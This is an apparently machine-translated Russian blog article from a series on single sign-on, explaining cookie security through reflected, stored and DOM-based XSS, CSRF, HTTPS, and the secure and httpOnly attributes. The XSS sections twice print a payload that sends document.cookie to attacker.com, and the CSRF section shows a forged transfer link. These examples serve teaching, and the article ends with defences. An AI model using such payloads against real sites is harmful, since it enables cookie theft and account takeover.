Суть единого входа и управления полномочиями: вопросы безопасности файлов cookie

задняя часть Безопасность браузер XSS

Эта серия не обновлялась уже много дней, несколько дней назад я взял отпуск и вернулся в родной город, а дедушка ушел из жизни. Я тоже начал заморачиваться на работе и завел так называемую «996», беспокоясь о ритме и эффективности.

Полный план написания серии можно найти по адресу:Обзор серии

Индекс первой части серии:

  1. Общие сведения о сеансах и файлах cookie
  2. HTTP-перенаправление
  3. Введение в единый вход
  4. проблемы с безопасностью файлов cookie
  5. Введение в управление правами

Продолжайте знакомить с первой частью серии «Единый вход и управление полномочиями»: сущность единого входа и управления полномочиями. В предыдущей статье была представлена ​​концепция единого входа и рассмотрен основной процесс CAS. протокол в качестве примера, чтобы объяснить процесс взаимодействия между системами.В этом процессе установка и передача файлов cookie включает в себя многое.Как обеспечить безопасность файлов cookie, это то, что будет представлено в этой статье.

Знания, связанные с безопасностью, ограничены, я прочитал соответствующие статьи, отсортировал и обобщил их в соответствии со своим собственным мышлением и пониманием.

Если проблемы безопасности разделить по области возникновения, все проблемы безопасности, возникающие на внутреннем сервере, называются «внутренними проблемами безопасности», например, SQL-инъекция; все проблемы безопасности, возникающие в браузерах и веб-страницы называются «проблемами безопасности внешнего интерфейса». Проблемы, такие как атаки с использованием межсайтовых сценариев XSS, проблемы, связанные с файлами cookie, в основном возникают во внешнем интерфейсе.

Во-первых, мы представим следующие две атаки: XSS может получить пользовательский файл cookie, CSRF может использовать пользовательский файл cookie для подделки запросов, а затем представим HTTPS и его важность и, наконец, поговорим об ограничении междоменного доступа к файлам cookie. контроль.

XSS

XSS называется атакой с использованием межсайтовых сценариев, полное название которой — Межсайтовый сценарий.Основная причина проблемы безопасности такого типа заключается в том, что браузер выполняет вводимые пользователем данные, предоставленные злоумышленником, в виде сценария JavaScript.

XSS имеет разные методы классификации: по тому, хранится ли вредоносный скрипт в приложении, его можно разделить на «сохраненный XSS» и «рефлексивный XSS», по тому, есть ли взаимодействие с сервером, его можно разделить на «серверный». Side XSS" и "DOM XSS" на основе XSS".

Отраженный XSS

Описание сценария: в некоторых системах после того, как пользователь вводит или действует неправильно, он переходит на страницу подсказки сообщения об ошибке, и сервер отображает различные сообщения об ошибках в соответствии с входящим сообщением.

Если сервер не фильтрует сообщение, он получит XSS-атаку, такую ​​как запрос URL-адреса:

https://support.kefu.mi.com?msg=
<script>
var i=new Image;
i.src="http://attacker.com/"+document.cookie;
</script>

отображение страницы

<input type="text" value="${msg}">

Если злоумышленник получит доступ к этому вредоносному URL-адресу, файл cookie будет отправлен хакеру, и хакер сможет перехватить файл cookie и выполнить произвольные манипуляции с пользователем.

Сохраненный XSS

Для сохраненного XSS скрипт обычно сохраняется в серверной базе данных, сохраняется без фильтрации и отображается пользователю. В отличие от процесса типа отражения, требуется как минимум два запроса: первый — отправить данные, содержащие вредоносный код, на сервер и сохранить их в базе данных, второй — чтобы жертва посетила страницу, содержащую вредоносный код. , и вредоносный код выполняется.

DOM based XSS

По сути, это тоже своего рода тип отражения, потому что вывод страницы также контролируется через url, а разница только в том, что место вывода отличается, что приводит к противоречивым результатам.

Добавление URL-адреса запроса аналогично отраженному XSS:

https://support.kefu.mi.com?msg=
<script>
var i=new Image;
i.src="http://attacker.com/"+document.cookie;
</script>

Отображаемая страница выглядит следующим образом:

<input id="msg" type="text" value="${msg}" />
<div id="show"></div>
<script type="text/javascript">
var msg = document.getElementById("msg"); 
var show = document.getElementById("show");
show.innerHTML = msg.value;
</script>

Лучший способ защититься от XSS — выполнить строгое кодирование вывода данных, чтобы данные, предоставленные злоумышленником, больше не выполнялись браузером по ошибке как скрипт.

CSRF

CSRF называется подделкой межсайтовых запросов, а полное название — подделкой межсайтовых запросов.Он может подделывать запросы от имени жертвы и отправлять их на атакуемый сайт без ведома жертвы.

Описание сценария: финансовый веб-сайт Xiaomi A имеет следующий интерфейс передачи

http://jr.mi.com/transfer?to=dongqingqing&money=1000000000000

У хакера H есть веб-сайт B, и он размещает на нем следующий код, чтобы побудить жертв переходить по рекламным объявлениям. Если жертва ранее заходила на веб-сайт А и время сеанса не истекло, передача будет успешно передана хакеру без ведома жертвы.

<a href='http://jr.mi.com/transfer?to=dongqingqing&money=1000000000000'></a>

Это можно решить, проверив поле HTTP Referer, добавив токен к адресу запроса и проверив его, а также настроив атрибуты в заголовке HTTP и проверив его;

HTTPS

Рекомендуется, чтобы все сайты, открытые в Интернете, передавали HTTPS, который основан на протоколе HTTP и добавляет уровень SSL для шифрования данных.

Через протокол HTTPS в процессе передачи cookie, даже если запрос перехвачен другими, он не знает, что такое настоящий cookie, и не может подделывать другие запросы.

В Интернете есть много вводных, связанных с HTTPS, процесс взаимодействия описан здесь:

  1. Браузер отправляет на веб-сайт набор поддерживаемых им правил шифрования;
  2. Веб-сайт выбирает набор алгоритмов шифрования и алгоритмов HASH и отправляет свою идентификационную информацию обратно в браузер в виде сертификата (сертификат содержит адрес веб-сайта, открытый ключ шифрования, орган, выдавший сертификат, и другую информацию).
  3. После того, как браузер получит сертификат веб-сайта, ему необходимо сделать следующее:
    • Проверьте законность сертификата (проверьте, является ли учреждение, выдавшее сертификат, законным, совпадает ли адрес веб-сайта, содержащийся в сертификате, с адресом, к которому осуществляется доступ, и т. не доверенное будет дано;
    • Если сертификат является доверенным или пользователь принимает ненадежный сертификат, браузер сгенерирует случайный пароль и зашифрует его с помощью открытого ключа, указанного в сертификате;
    • Используйте согласованный HASH для расчета сообщения рукопожатия, зашифруйте сообщение сгенерированным случайным числом и, наконец, отправьте всю ранее сгенерированную информацию на веб-сайт;
  4. После того, как веб-сайт получает данные, отправленные браузером, он делает следующее:
    • Используйте свой собственный закрытый ключ для расшифровки информации и извлечения пароля из случайных чисел, используйте пароль для расшифровки сообщения рукопожатия, отправленного браузером, и проверьте, соответствует ли HASH тому, который отправлен браузером;
    • Используйте пароль случайного числа, чтобы зашифровать сообщение рукопожатия и отправить его в браузер;
  5. Браузер расшифровывает и вычисляет HASH сообщения рукопожатия.Если он согласуется с HASH, отправленным сервером, процесс рукопожатия завершается в это время, и все данные связи после этого будут зашифрованы случайным паролем, сгенерированным предыдущим браузером. и с использованием алгоритма симметричного шифрования;

Обобщить:

  • На этапе рукопожатия передаваемые данные шифруются и расшифровываются с помощью алгоритма асимметричного шифрования, а также согласовываются пароль случайного числа, алгоритм шифрования и алгоритм хеширования;
  • Во время обычной передачи данных, поскольку асимметричное шифрование занимает много времени, для шифрования и расшифровки используется пароль случайного числа.Пароль случайного числа генерируется на стороне браузера и передается на веб-сайт с помощью асимметричного шифрования, поэтому он не будет утечек;
  • Чтобы предотвратить подделку данных, они проверяются алгоритмом Hash;

Контроль доступа к файлам cookie

Файлы cookie так важны. Со стороны браузера, если веб-сайт может получить доступ к файлам cookie других веб-сайтов, он определенно не будет работать. Поэтому браузеры не разрешают междоменный доступ к файлам cookie, что повышает безопасность файлов cookie.

в предыдущих статьяхОбщие сведения о сеансах и файлах cookieВ , область действия файлов cookie была введена, в основном, как делиться и использовать файлы cookie, когда имена доменов первого уровня совпадают.

Если вы хотите получить междоменный доступ, вы можете использовать методы JSONP и CORS.

Кроме того, когда HTTP устанавливает файл cookie, предоставляются два атрибута для повышения безопасности файла cookie, а именно безопасный атрибут и атрибут httpOnly.

Атрибут secure может предотвратить утечку информации после отслеживания и захвата в процессе передачи. Если установлено значение true, он может ограничить передачу файла cookie, сохраненного браузером, на сервер только при доступе к нему через https. осуществляется через http, файлы cookie не передаются.

Атрибут httpOnly может помешать программе получить файл cookie. Если для него установлено значение true, файл cookie не может быть прочитан через js и т. д., что может эффективно предотвратить атаки XSS.

Благодаря введению этой статьи, чтобы обеспечить безопасность файлов cookie, должен требоваться доступ через HTTPS, и при написании кода следует уделять полное внимание тому, чтобы максимально избегать методов атак, связанных с файлами cookie, таких как XSS и CSRF. В то же время браузеры и сам HTTP также учитывают контроль доступа к файлам cookie.

情情说

Категории